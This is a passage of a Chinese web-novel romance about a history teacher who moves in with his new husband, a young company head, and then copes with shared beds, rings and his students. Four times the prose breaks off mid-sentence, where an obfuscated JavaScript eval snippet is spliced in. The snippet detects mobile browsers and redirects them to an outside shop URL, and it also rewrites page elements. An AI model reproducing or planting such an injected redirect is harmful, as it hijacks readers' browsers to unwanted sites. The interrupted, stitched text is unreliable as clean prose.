方知安抬头,说实话,在几分钟之前他对霍觅的工作、身份还没有那么深刻的印象,吃饭那会儿余思雨和他提过一嘴,但那些毕竟只是比喻,到现在那些名头才渐渐落到实处。 “好的,那以后多关照,姜助理。”方知安把沾湿的纸巾攥在手里,温和礼貌。 姜卓心里跟明镜似的,他知道方知安在自家老板那很不一般,连声说您客气。 “纸巾给我吧,都湿了。”霍觅指了指方知安的手掌。方知安一张开手,他就拿了过去。 雨越下越大,砸在车玻璃上甚至能发出噼啪的声响,方知安原以为到霍觅的房子要开好一会儿,结果车子只开了七八分钟,就驶入了一处较为高档的小区。 老刘把车开进地下停车库,外面的世界倏然安静。 这个小区方知安不陌生,云湾都港,知名的高档小区。多少人调侃自己工作好几年都不一定买得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073671|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起一个厕所,其中当然也包括时刻关注房价的余思雨。 方知安看着外头富丽堂皇的装饰,对霍觅很有钱这件事的认知又上了一层楼。 离开前,姜卓问了工作上的事,“明天下午S省的合作方会过来,您之前说要先开个会议,还是定在上午吗?” 霍觅语气平淡,“嗯,让他们准时。” 姜卓闻言点头,最后微笑着说:“好的,那霍总方先生再见。” 方知安跟在霍觅身后拿起自己的包,不知是不是他的错觉,工作时的霍觅看起来似乎不大一样,但也说不出个所以然来。 云港的公寓一层只有一户,霍觅住在三十七楼,他把密码发给了方知安,“回头你在这有什么事就直接找我,发消息找公寓管家也行。” 方知安说好,进了门才想起来一件事,他问:“今晚我睡客房吗?” 霍觅的目光轻动,他说:“我之前不怎么住这,客房没收拾过,不太干净。你要是不介意的话,我们睡主卧?” “你放心,我睡相很好,不会打扰到你的。”霍觅看见方知安眼中的犹豫,补充道。 方知安早前答应霍觅的时候就将这种可能考虑了进去,因此并不排斥,只是在一张床上睡个觉而已,这有什么大不了的。 他们也不是没做过更过分的事。 “我没事,只要你不介意就行。”方知安说。 霍觅带他把家里的房间基本走了一圈,方知安认了个大概。空下来后他给余思雨发了个消息,让他放心。 身上潮湿黏腻,方知安微微蹙眉,他有一点轻微的洁癖,和霍觅打了声招呼就先去主卧的浴室洗澡了。 换了身衣服方知安舒坦不少,他擦着头发从浴室走出来,想着再备一些课就去睡觉。客厅里没看见霍觅的身影,方知安站在原地听了会儿动静,最后在书房找到了他。 “你要休息了吗,我可能还要一段时间,学校的事还没做完。”方知安推开书房的门,没贸然进去。 他身上穿着简单的居家服,墨色的布料衬得那一截露出的脖颈格外修长白皙。黑发微湿,垂落在镜框上,让他看起来温和漂亮。 “你忙吧,我还早,”霍觅放下资料,眼神里带上了请求,“不介意的话,你可以坐我旁边工作。” 霍觅微微侧身,书房的桌子面积很大,霍觅的电脑只占了一半位置,旁边还有充足的空间。 方知安不好意思再打扰他,看了眼外面的装潢,问:“我在餐厅那边就行,你不用管我。” 霍觅闻言抿了抿唇,有点不太甘心地说:“餐厅顶上灯的开关在拐角那边,你记得多开几盏,不然会有点暗,对眼睛不好。” 方知安迅速比了个ok的手势,示意收到,离开时十分贴心地带上了书房的门。 餐桌上历史书和资料堆了一摞,方知安工作起来就容易忘记时间,等到再抬眼已经是十一点半。 他揉了揉酸胀的后腰,理好桌上的课本电脑,刚把凳子推回原位就看见书房原本紧闭的门缓缓打开。 霍觅看到起身的他,适时地露出了一点讶异,自然而然的文:“你也结束了吗?” 方知安懵了下,点点头。 霍觅笑了,他说:“那正好,我们进去睡觉吧。” 8. 送我月亮 方知安愣了愣,等再回过神,他已经和霍觅进了卧室。 卧室很宽敞,空气里漂浮着很淡的草木香,让人放松不少,但这毕竟是陌生的环境,方知安或多或少还是有点不自在。 霍觅刚洗完澡,方知安站在洗漱台前突然想起,“你这有一次性杯子吗,我出门急忘带了。” “你等我一下。”霍觅闻言拉开了洗漱台下的柜子,然后从里面拿出了一只没拆封的新杯子。那只和他自己是一套的,颜色样式都一模一样,只有花纹不同。 “前两天新买的,”霍觅站在方知安身边,笑着说,“其实这个本来就是给你的。” 方知安耳朵一热,“麻烦你了。” 洗漱完他先上了床,而霍觅就在床的另一边换衣服。方知安侧过头,正好看见霍觅清晰分明的腹肌,卧室里灯光不太明亮,但霍觅的好身材仍旧一览无遗。 方知安只看了一眼就快速把头转了回来。 床垫微微下陷,那是霍觅躺了下来。 他们虽然睡一张床,但分开盖了被子,方知安把自己裹得很紧,霍觅伸手关了床头的灯,卧室骤然陷入黑暗。 “晚安。” 方知安也客气回道:“晚安。” 但偏偏事与愿违,十几分钟前方知安还在打哈欠犯困,现在上了床反倒格外精神,霍觅那边一点风吹草动他都听得十分清楚。 不知过了多久,翻身间腕上的表亮了起来,方知安眯着眼瞟去。 12:27,现在已经是第二天了。 方知安默默叹了口气,这时身边的一团被子忽然动了动。 “你还醒着吗?”霍觅的声音突然响起,带着浓浓的困倦。 方知安僵住,埋在被子里缓缓道:“嗯” 霍觅短暂清醒,翻过身来和他面对面。卧室窗帘的遮光效果很好,黑暗里谁也看不清谁。他慢悠悠说着话,像是在哄人。 “不要紧张,把这里当成自己家就好,”霍觅的声音很低,也不太清醒,“以后我们还要在这住很久......” 方知安将脸埋得更深,闷闷地说:“我知道了,你快点睡吧,明天还要上班。” “你不睡着......我就不睡。”霍觅抻开一点眼皮,似乎是想要监督他。 方知安立马把手塞回被子,做出了睡觉的架势,“你快睡,我保证,我很快就睡着。” 霍觅半梦半醒,听着他的保证似乎是笑了一下,最后服了软。 他含糊道:“好梦。” 第二天,方知安按着生物钟醒来,入目就是一片宽阔的胸膛。 方知安还没醒过神,他缓缓抬眼,面前正是霍觅熟睡的脸。 此时此刻,霍觅侧着身,胳膊将他一整个圈住,而自己的胳膊也不老实,正不偏不倚搭在霍觅腰上。 方知安登时心头一凛,错乱到几乎以为自己穿越回了大半个月的早上。 昨晚他们不是睡得泾渭分明吗,这是怎么回事? 方知安来不及细想,只觉得空气忽然变得有些热。两个人挨得近,身体贴在一处,有些早晨的反应也避无可避,十分鲜明。 他动作僵硬地推了推霍觅,“你快醒醒。” 霍觅迷迷糊糊睁开眼,方知安见他醒了,立马往后一撤。 而这一动让他发现了问题,那就是——他现在睡在霍觅的被子里。 而他的被子......方知安回头,发现昨晚睡前还稳稳盖在身上的被子此时已滚落到了床下。 眼前种种现象让他后知后觉意识到,自己昨夜,可能,似乎,睡相不太好。 霍觅起身,被子都堆在了腰腹,他看向满目局促的方知安,眼神带着些茫然和无辜。 “我也不知道为什么会睡到你那边去,可能是我昨天太累了......”方知安百思不得其解,自己的睡相明明一直很好。 “你很介意吗?”霍觅刚醒,声音有点哑。 他看着方知安紧张的表情,脸上露出了一点不安。 方知安马上否认,“不是,我只是怕你介意。” 霍觅神情疑惑,他顿了顿问:“我......为什么要介意?” 方知安想起霍觅说过,他是一个比较保守的人。但现在他既然没有表现出反感,方知安也没好意思多问。 但他思来想去还是觉得自己不像话,当初在酒吧喝醉了一把扑进霍觅怀里,现在睡个觉也能这么扰人。 他凌乱着把地上的被子捡了回去,可霍觅一直坐在那纹丝不动。 “你要起了吗?”方知安愣愣问。 “嗯,稍微等会儿就起,”霍觅没开床头灯,只有方知安那头是亮着的,“我再坐会儿。” 方知安还以为他是睡蒙了,就先进了卫生间洗漱,刷牙的时候慢半拍想起什么,耳朵瞬间红了一截。 早上那点意外只是个小插曲,霍觅没有再提起,方知安悬着的心也就慢慢放了下去。 两人的工作虽然大相径庭,但上班的时间却相差不多。 方知安身边认识的人都是当社畜的多,和霍觅结婚后这还是他第一次接触到老板的上班作息,挺新奇。 白天雨势稍弱,但云港离一中有些距离,霍觅快速打好领带,对方知安说:“我送你去吧。” “那你再去公司会不会来不及啊?”方知安问。 “不会,现在还早,”霍觅按了电梯里的-2键,“而且我们顺路。” 一中的校区年代久远,门前的路也不宽敞,为了保证绿化还种了两排行道树,这样一来,本就有限的道路就更加拥挤。这个点来学校的都是走读的学生,门口车流渐密,幸好老刘车技好,一下就找着了空,把方知安稳稳当当地送到了门口。 霍觅膝上放着笔记本,他笑着和方知安道别,“晚上见学长。” 虽然结了婚,但方知安一直没纠正霍觅对他的称呼。方老师、知安和学长里,霍觅还是最偏爱后者。 “路上小心。”方知安也挥了挥手。 直到黑色的迈巴赫缓缓驶离,周遭的视线不约而同投来,方知安这才后知后觉地意识到: 他就这么从霍觅的车上下来,是不是有点太张扬了? 方知安抱着这种猜测在食堂吃完了早饭,一出门就遇上了同办公室的王老师,“小方啊,你换新车啦?” “怎么突然这么说?”方知安拿着包子豆浆问。 王老师挑眉,“早上我看见你从上面下来,没有错的。” “那辆是朋友的,我哪有那个闲钱换车。”方知安很快否认。 “哦哦,那你那个朋友厉害的,这车多贵啊。”王老师忍不住感叹。 方知安打着哈哈,只想快点把这事应付过去。 老师里也有爱八卦的,高三数学组王充裕更是远近闻名,方知安早有听闻,并不想过多领教。 王充裕又和他聊了两句,没一会儿话题又转到了学生身上。 方知安班里这个学期新来了个学生,是上一届休学留下的,当时休学的原因是精神疾病,现在虽然回来读书了,但状态依旧不大好,年级主任都叮嘱过方知安要多关注。 “这样的小孩最麻烦了,现在他们除了读书能有什么压力,以前我们小时候才叫苦,当时也没人生这种病。”王充裕唠唠叨叨。 方知安原本还笑着,听了这话那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073672|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点笑意很快消失不见,“现在和以前不一样,压力也不一样,这不能一概而论。” 王充裕知道方知安这人平时好性子不争不抢,唯独涉及自己的学生就会变得格外护短,他也不犟嘴,立马让步,“啊呀小方是我说的不对,别跟我计较啊。” 两人说话间就到了办公室。 一进门,方知安就听见前桌沈苗苗的笑声,她正和旁边的人聊得欢,脸上满是笑意。 王充裕把包往桌子上一放,问她:“小沈啊,什么事这么开心?” 沈苗苗背过手让他猜,王充裕随口说了几个都没中,最后沈苗苗笑着揭秘,伸出了自己的右手。 在她的中指上,一枚嵌着钻石的戒指闪闪发亮。 “怎么样,是不是很好看,”沈苗苗摸了摸自己的戒指,“我男朋友昨天刚跟我求婚,我当时哭得稀里哗啦的......” 她说着又打开了自己的手机,“诶我不是发朋友圈了吗,你们都没看见啊?” 方知安坐在靠墙的位置抬起头,那枚熠熠生辉的戒指也被他收入了视线。 沈苗苗是他们办公室最年轻的老师,教的科目是语文,既漂亮又活泼,有个交往了很多年的男朋友。两人早就计划着要结婚,现在婚都求了,想来领证也不远了。 想着领证,方知安面前又闪过了霍觅的脸。 他们现在倒是领了证,但似乎除了那张结婚证,并没有其他能证明婚姻的存在。 前头的说话声渐轻,方知安探身碰了碰沈苗苗的椅背。 “怎么啦方老师?”她很快转过身。 “我想问你个问题。”方知安说。 “你说吧,我一定知无不言。” “要是你领证了,但是你和你对象还没有戒指,这是不是不太好?”方知安试探着问。 “这肯定不好啊!再怎么说俩人都领证了,总不至于连对戒指都没有吧,”沈苗苗嚷了声,四下看看,又很快压低声音,“方老师,我说这人不会是你吧?” 方知安立马否认,“没有,这是......我的一个朋友。” “哦,”沈苗苗意味深长地看了他一眼,“那就让你那个朋友赶紧补救一下,算我的忠告。” “行,那我.....代我的朋友谢谢你。” 方知安问完坐回了位置,他不动声色舒出一口气,想着,沈苗苗应该没听出来吧?自己可什么都没说。 不过,她刚才说的确实有道理。方知安后知后觉意识到,自己和霍觅也该要有一对戒指。 方知安是个行动派,马上打开手机查看起来。他和霍觅都是男人,买一对素圈最为合适。 方知安看了眼自己的余额,最后在琳琅满目的样式中选了一对最贵的。 这是他力所能及的一份礼物,虽然不知道霍觅会不会喜欢,但方知安想先把这件事做好。 正巧,霍觅当时给他的资料很详细,也包括了他的指围。 方知安很快敲定了一切,除了一项...... 他思索片刻,最后还是拿起手机给霍觅发了个消息。 【圆:在吗,我想问问你是喜欢星星还是月亮】 早上霍觅一直没回,直到上午第一节课下课,方知安的手机才震动起来。 【霍觅:你要送我礼物吗[期待/]】 方知安想要保持那一点神秘感,于是回道: 【圆:不是,我只问问你,你不要多想】 【霍觅:哦】 【霍觅:那你送我月亮】 得到回复的方知安心满意足地笑了,最后敲下几个字。 【圆:好的[OK/][OK/]】 9. 客房你好 方知安放下手机,心情变得很不错。 早上历史课在五班的抽背还算成功,下一节课上课铃响之前他抱着书进了自己当班主任的二班,以为一切都会如预料那般顺利,但结果实在有些不忍直视。 这导致他的好心情戛然而止。 他原计划一题抽一个学生,只要能模糊说出个大概踩到得分点,方知安也会高抬贵手让他们坐下去。 但课堂才过了四分之一,班里就站起来了一大片。文科班里男生的数目本来就不多,现在还坐着的更是寥寥无几。 方知安额角轻抽,和那群平时就不大着调的男生面面相觑。 “你们回去都背了吗?”方知安扫过面前十几个桩子一样杵在那的人,稍感无语。 站着的同学看天看地,调整各种姿势来缓解尴尬,周围坐着的人则埋头暗笑顺道在心里祈祷方知安千万别抽到自己。 方知安一个问题下去,胆子大的还敢吭声,一句“没来得及”缓缓飘出,更多的人完全噤了声,眼观鼻鼻观心站在原地。 方知安眯起眼,又问:“站着的有没有想再试试的,我给你们个机会。” 十几个桩子恍若未闻鸦雀无声。 “徐自乐,你来试试。”方知安的视线最后定在了后排。 被点到名字的徐自乐虎躯一震,僵硬直起身。 他看向方知安,面色如丧考妣,难看至极。 而梁巡就坐在他旁边,跟个鸵鸟似的,头埋得比谁都低。他侧目瞅了眼自己的兄弟,再次祈祷方老师千万别抽自己。 方知安随手指了个知识点,“你来说说,九品中正制的影响,按采分点来背。” “额,这个影响,我记得有三个点......就是三个,那个......”徐自乐瞬间开始目光漂移,他欲哭无泪,没想到方知安随手一抽又问到了他的盲点。 他头皮发麻,情急之下顾不上太多,立马冲梁巡压低声音说:“快快!救我,救我!” 兄弟有难不得不救,梁巡闻言全身一凛,小心翼翼地控制着自己的动作把书往桌边递,好把答案露给徐自乐。 但方知安眼力好,隔着老远就看穿了他们的小动作。 “看来你是答不上来了,”方知安转移视线,“那这个问题就交给别人吧。” 他话一出,班上霎时鸦雀无声,一片死寂。大家都在等待那个幸运儿的诞生。 “那......梁巡,你来答。” 方知安语气平和,但座位上的梁巡一下就弹了起来。 刚才默背的答案已在脑中消失无影,只余空白,他讷讷了半天,没说上一个字。 良久,方知安和梁巡遥遥对视,最后在心里叹了口气,“那你就陪陪徐自乐吧,五分钟后自己坐下。” 梁巡心里一松,结果下一秒就听见方知安说:“都别忘了我说的惩罚,到下课还站着的等会儿中午吃完饭都来我办公室,一个一个背。” “当然,下课前能把自己‘赎回去’我就放你一马。”方知安站在讲台上,笑得温文尔雅。 后排的梁巡和徐自乐对视一眼,两人眼中是如出一辙的沉重。 果不其然,到了下课那会儿还欠着债的人已经寥寥无几,唯独他们这对难兄难弟始终在方知安的名单上。 徐自乐心大,没脸没皮惯了,下课铃一响就凑到梁巡旁边问他:“你说我们中午回得来吗,不会就这么留那了吧。” 梁巡踹了脚他的凳子,“你个乌鸦嘴,方老师人帅心善,一定不会这么残忍的。” 而此时人帅心善的方老师正从后门无声无息走了进来,他抱着历史书,幽幽道:“二位,中午不见不散。” 自从高二选课重新分了班,方知安就一直是二班的班主任,梁巡知道方知安脾气挺好,但偏偏他的历史实在是有些不堪入目。 因为这个原因,他每次见着方知安都没由来地发虚,方老师一笑他更是觉得自己生死难料。 梁巡听着那话头皮发麻,但不论再怎么不愿,中午他和徐自乐吃完饭还是麻溜地滚进了办公室。 两人想的都差不多,争取早死早超生。 “人来了?”方知安放下水杯,“你们来得倒是快,自己去搬个凳子坐我边上。” 徐自乐很快从墙角拽出两个塑料凳,他分给了梁巡一个,俩人就跟小学生一样坐在了方知安桌旁。 但二十多分钟过去,办公室里的人来来去去,这俩人依旧跟大佛一样坐在原处,纹丝未动。 每次方知安问一个问题,梁巡就会看徐自乐,拿眼神问他:兄弟你会不会? 徐自乐很实诚,用力眨眨眼:哥们我不会。 梁巡放心了,然后又单纯地看向方知安,更用力眨眨眼:方老师这题我们不会。 这一切的结果就是方知安在他们的挤眉弄眼下太阳穴都在发痛,他抬起手揉了揉,下了最后通牒:“算了你们俩回去吧,我给你们划出来的知识点今天回去记得背一背,明天上课我接着问。” 梁巡和徐自乐顿时如蒙大赦,抄起自己的书把椅子放回原位就迅速回了班,生怕方知安回心转意。 正在改作业的沈苗苗目睹了全过程,她回头调侃道:“他们俩不都是数学天才吗,历史这是怎么了?” 方知安也无奈,“你要理解天才也有弱点。” 原本他还不准备结束,但刚才霍觅给他发了个消息,让他有空的时候可以把自己那辆车去云港录入一下,方便以后进出。 正好中午没别的事,方知安打算回趟宿舍拿点东西,顺便熟悉一下学校到云港的路。 他速战速决,去宿舍拿了东西又顶着雨去开车,折腾了一番终于在云港录完了车牌。 在地下停车场一众豪车中,方知安的车显得格格不入。 不过他下车时想起早上王充裕的调侃,发觉还是自己开车上班比较好,免得到时候引起一些不必要的非议。 方知安拎着刚整理出的东西上楼,一开门却发现房子里还有个人。 一个阿姨拿着拖把,乐呵呵地看向方知安,“您是方先生吧?” “我是,”方知安愣了愣,“请问您是?” “我是霍先生的家政阿姨,姓李。”李阿姨笑得亲和,手上的活一刻不停。 他顿时了然,跟李阿姨打了声招呼,放完东西就准备离开。 只不过方知安转身时视线扫过某一间房间,他想到什么于是叫住了李阿姨。 “怎么了方先生?”李阿姨回头问。 “我是想问一下,您客卧那边打扫了吗?” “那肯定,我看那边灰有点重,顺便帮霍先生把床单被罩也洗了,”李阿姨说,“那些我都用烘干机了,等下就能套回去,要想用的话晚上立马就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073673|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能睡。” “好的麻烦您了,那我走了。” 方知安坐着电梯下楼,轻微的失重感里他想到了早上霍觅有些懵然的神情。 虽然自己睡相似乎不太好,但只要晚上不和霍觅睡在一块儿,那也没什么吧? 方知安这么想着,准备到晚上践行一下。 傍晚下班那会儿正好赶上学生吃晚饭,方知安好不容易从人潮里挤出来,总算走到了停车的地方。 他还不知道今天晚饭怎么安排,于是给霍觅发了个消息。 【圆:晚饭你回来吃吗,我去买点菜?有没有想吃的】 【霍觅:我马上下班,什么都可以~】 方知安看着那条波浪号笑了笑,莫名觉得和霍觅的外表有些割裂。这人看起来怪正经的,但是某些地方总是透出些许幼稚。 换句话说,他还挺爱撒娇的。 方知安原本觉得奇怪,但一细想,霍觅毕竟年纪不大,性子温和一点也没什么,只是不知道这样做老板镇不镇得住场。 今天路上不算堵,方知安和霍觅是前后脚回的家。 霍觅一进门就看见方知安在厨房里捣鼓,而方知安一听见门口的动静就从厨房里探出头。 “不知道你喜欢吃什么,我先随便买了点。”方知安笑着把身上的围裙系好。 霍觅在门口定了有一会儿,脱下外套后十分自然地走到他身边开始打下手。 “学长你还会做菜啊,你好厉害。”霍觅看着方知安熟练地处理食材,由衷夸赞。 “我只会一些基础的,不过味道应该还可以。”方知安在水池里甩了甩手,然后指了指一旁的锅子。 “那边的火你看着点,要是水要漫出来了你就关小点。” 霍觅闻言卷起袖子,认真帮方知安看起了锅。 方知安烧菜动作很快,在加上有霍觅给他帮忙,没一会儿两人的晚饭就端上了桌。 明亮的灯光下,属于饭菜的热气氤氲上升,方知安吃饭的时候霍觅突然问:“白天你问我星星月亮,是要干什么?” 方知安的筷子磕了一下碗沿,“没什么,我就随便问问。” “这样吗,那好吧。”霍觅没再追问,只是安静吃起了饭。 晚上他们都没空下来,各有各的事情要做。 霍觅在书房办公,方知安则在餐厅的位置备课,一切和谐。 只不过不知道是不是方知安的错觉,他总觉得今晚霍觅从书房出来的十分频繁。 他一会儿上厕所,一会儿泡咖啡,一会儿拿资料,一会儿......方知安也不清楚,或许是出来溜达了一圈? 而这种和谐的氛围一直维持到了上床睡觉。 临近十二点,方知安刚合上电脑从座位上起身,霍觅就和昨天一样从书房走了出来。 “我们睡觉去?”霍觅不动声色地往餐桌边走。 方知安抻了抻后腰,爽快说:“好啊。” 然后他就径直走向了焕然一新的客房。 进门前他不忘对霍觅说:“昨晚我睡相不好,今天我睡客房,这样就不会吵到你了。” 片刻后,客房的门被方知安合上。 霍觅出神地看着面前缓缓关上的门,又想起了自己昨天半夜的所作所为。 这是运筹帷幄的霍总头一次知道,什么叫做搬起石头砸了自己的脚。 10. 我怕打雷 云湾的房子面积大,就连客房的各项配置也一应俱全。 方知安给手机插上电就准备睡觉,他今天没喝咖啡,这会儿止不住地犯困。 其实决定来客房睡之前他没想太多,只是单纯有些不好意思。 本来方知安就是慢热的性子,他和霍觅领证还没多久,现在这稍微有些突飞猛进的进度打乱了他原来的安排。方知安不想多添麻烦,只能暂时来客房避一避,等回头漏水的宿舍修好了再回去。 至于霍觅之前说的同居,他不是没考虑过。只是昨天第一晚自己就越了界,现在更需要一点时间缓冲。 客房没有任何气味,除了木柜自带的一点味道其他什么都没有。 方知安熄了灯,意识挂在将要睡着的边缘,鼻端却在恍惚间又闻到了一点草木淡香。 夜晚风雨大作,几道闷雷响起,雨滴砸在玻璃上溅得噼啪作响。 方知安以为自己在梦里,微微睁开眼却看见客房的门开了,一道人影走到床边。 “学长......”霍觅的声音传来,过于清晰和真实的感触让方知安逐渐清醒。 “你怎么来了,”方知安揉了揉眼睛,“几点了。” 霍觅低着头,怀里似乎还抱着什么:“外面打雷了,很响......我可以留在这吗。” 方知安听着霍觅的话语瞬间清醒,他撑起身打开床头的灯,入目就是霍觅微红的眼角。 他身形高大,但此时低着头,长而直的眼睫垂落,投下的一片阴翳将他眼中的情绪敛起,只剩周围泛开的红色。 霍觅的手指修长,此时却抓着胸前的被子,手背上绷出一些细密的青筋,像是受到了什么惊吓。 留在这?方知安懵了神。 霍觅说打雷太响,难道是怕雷声? 放在之前方知安肯定不信,但现在他的意识还不甚清醒,脑子完全是一片浆糊。 更何况——霍觅此时的神情确实很可怜。 其实怕打雷......也是人之常情吧? 方知安内心短暂纠结了一下,很快自己给霍觅找了台阶下。 床头的灯不亮,霍觅的面庞完全被笼罩在橙黄的光里,他抱着被子在方知安床边坐下,稍微靠近了一点。 他轻声问:“我留在这会不会打扰到你?” 说话间,又是一道响雷,方知安清晰看见霍觅的身体颤了颤。 他这会儿刚从睡梦中醒来,连时间都分不清,满眼只有霍觅半垂的眼和柔软的黑发。 方知安也不知道自己怎么了,下意识往床边靠了靠,腾出了半张床。 “可能没你那边大,你睡这吧。” 话音刚落,霍觅就上了床。他将自己裹在被子里,上半身又靠方知安这边近了点。 “学长,谢谢你。” “早点休息吧,明天雨就停了。”方知安轻声安慰,一躺下困意就再度席卷。 熟悉的草木香回到身边,他意外觉得踏实不少。 得到方知安肯定的回答,霍觅像是彻底放松下来,黑暗里他侧头看着方知安柔和的五官,每一处的弧度都恰到好处,看起来温和又漂亮,让人哪怕在暗中都完全移不开眼。 耳边的呼吸声逐渐平稳,霍觅唇角微扬,轻声开口: “学长,晚安。” 霍觅半夜来得突然,方知安迷糊着答应又昏沉着睡去。原以为自己那不佳的睡相又会闹出什么笑话,但这次睁眼时自己依旧在昨天的被子里。 而霍觅已经起身,客房外传来细小的声响。 方知安松了口气,那天果然是个意外。 夏天冷气开得足,他没忍住在被子里又窝了一会儿,直到手机上的铃声响起才起床。 雨已经停了,窗帘背后的玻璃上挂满水珠,方知安出神了一瞬,想起昨晚霍觅脆弱的神色。 方知安摇摇头,心想人确实不可貌相,霍觅明明长了一张极具攻击性的脸,但性格倒还......挺不一样的? 他洗漱完走出客房,霍觅正靠在吧台上打电话,看到方知安出来他很快地说了两句,随后就挂了电话。 “学长,妈让我们这周六回家吃饭。” 方知安一愣,霍觅之前就提过这事,只不过时间一直没定下。今天已经是周五,这周六,那也就是明天了。 “好啊,是晚上吗,那我正好双周放假。”方知安算了算时间。 “嗯,回我爸妈那,顺便带上梁巡一起去。”霍觅指了指电话,“这是我刚接到的指令,来自远方的梁女士。” 方知安没意见,刚要理东西又听见霍觅说:“但是明天我有点事,可能会晚点到。” “所以,大概要麻烦你把梁巡带过去了。” 方知安怔了怔,回了句“好”又想起什么,他缓缓扭头问:“你是不是还没告诉他我们结婚了?” 霍觅闻言摊手,嘴角的笑有点无奈,“最近太忙没来得及,不过你放心,他从小到大接受能力都很不错,我今天晚点就告诉他。” 方知安不置可否,既然梁巡是霍觅亲弟弟,这事还是交给他来比较稳妥。 早上的时间短暂,两人都赶着要去上班。霍觅原本想要送他,但方知安又想起之前王充裕的眼神,还是决定自己开车去。反正他出门早,总能在学校找到车位的。 下电梯的时候方知安的手机突然响了起来,他低头看了眼,来电人没有显示姓名,是一串陌生的号码。 方知安毫不犹豫地掐掉了电话,霍觅靠近半步,问他怎么了。 方知安面不改色,只说:“骚扰电话而已,不用管。” 早上六点左右,住宿生已经有好些到了教室早自习。一中对早饭管的严,走读的同学给其他人带早饭都属于需要严查的范围,不过方知安对于这件事习惯了睁一只眼闭一只眼,只要不是太张扬就行。 现在的年级主任是个上了年纪,眼神不大好,又老花又近视。学生一个个都身经百战,知道早饭要放到桌底下吃,方知安班上的人更是机灵,因此几乎没怎么被抓过包。 方知安在班里看了一圈就回了办公室,他最近还有个课题任务没完成,需要抓紧时间。 中午的时候正好梁巡拉着徐自乐来背诵,今天他们俩像是下了苦功夫,虽然依旧磕磕巴巴,但总比一言不发的好。 他们一个接一个背完,然后四只眼睛两道目光就一齐投了过来,直勾勾的,还带着一点乞求。 方知安不由失笑,“今天就到这吧,剩下的我明天再抽查,你们回去吧。” 梁巡闻言面上一喜,起身就要往外走,结果还没走两步又被方知安叫住。 他回头,只见方老师面色有点古怪地开口,“那个,你哥让你有空的话给他打个电话。他有事要和你说。” 梁巡有点纳闷,但没想太多。 他们家有钱没错,但老霍和梁女士比较传统,一致决定让他住校,美其名曰锻炼生存技能。梁女士在生意场上是个风风火火的女强人,但在教育子女这块儿耐心一直有限,老霍也和她差不离,因此梁巡基本是被放养着长大的。 霍觅是他亲哥,比他大了八岁,打小就是所有人赞不绝口的“标杆”。梁巡从小到大一直跟在霍觅屁股后头,因此哥哥在他那比老霍还有威严。 虽说两人的成长环境差不多,但性格方面却差之千里。 梁巡性格好,跟个小太阳一样,暖烘热乎。而霍觅读书那会儿冷冰冰的,拒人于千里之外,直到上了大学那层冰才一点点融化。 梁巡跟家里头很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073674|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲,不过和很多男生一样,他来了学校就不怎么和家里联系,半个月住校下来顶多打几个电话问候一下梁女士。 当然,梁女士本人也不是很稀罕。 自从把觅途交给霍觅,他们夫妻二人就美滋滋过起了二人世界,经常全世界飞着度假,今天巴厘岛明天挪威,后天又在墨西哥,找不着个人影。 因此这回他哥这个大忙人主动找上门倒是让梁巡吃了一惊。 这是家里出了什么事吗? 他惴惴不安,上课的时候都提心吊胆。终于捱到傍晚,梁巡利落地跑回寝室插上了电话卡。 霍觅的号码多,但私人的就一个,梁巡熟记于心。 “嘟嘟——” 电话被接通。 “哥?你让我给你打电话是有什么事吗?”梁巡坐在寝室门口的板凳上,心里莫名有点紧张。 家族破产?爸妈生病?或者是......他写情书被发现?短短十几秒,梁巡把世界上所有恐怖的事都想了一遍。 “嗯,是有事要跟你说?”霍觅语气平静。 梁巡被他吊足了胃口,咽了口唾沫,“那、那你说啊,什么事?” 霍觅有求必应,根本没给他喘息的空隙。 “我来告诉你一声,我结婚了。” 梁巡:“......” “?????” “你结婚了!???”梁巡一下子破了音,震得正在卫生间哼歌洗澡的徐自乐脚底一滑,险些原地劈叉。 “你结婚了,和谁?什么时候的事?爸妈知道吗?谁家的女儿啊,陈局?李总?还是妈老同学家那个啊?”梁巡跟个连珠炮一样一刻不停地发问。 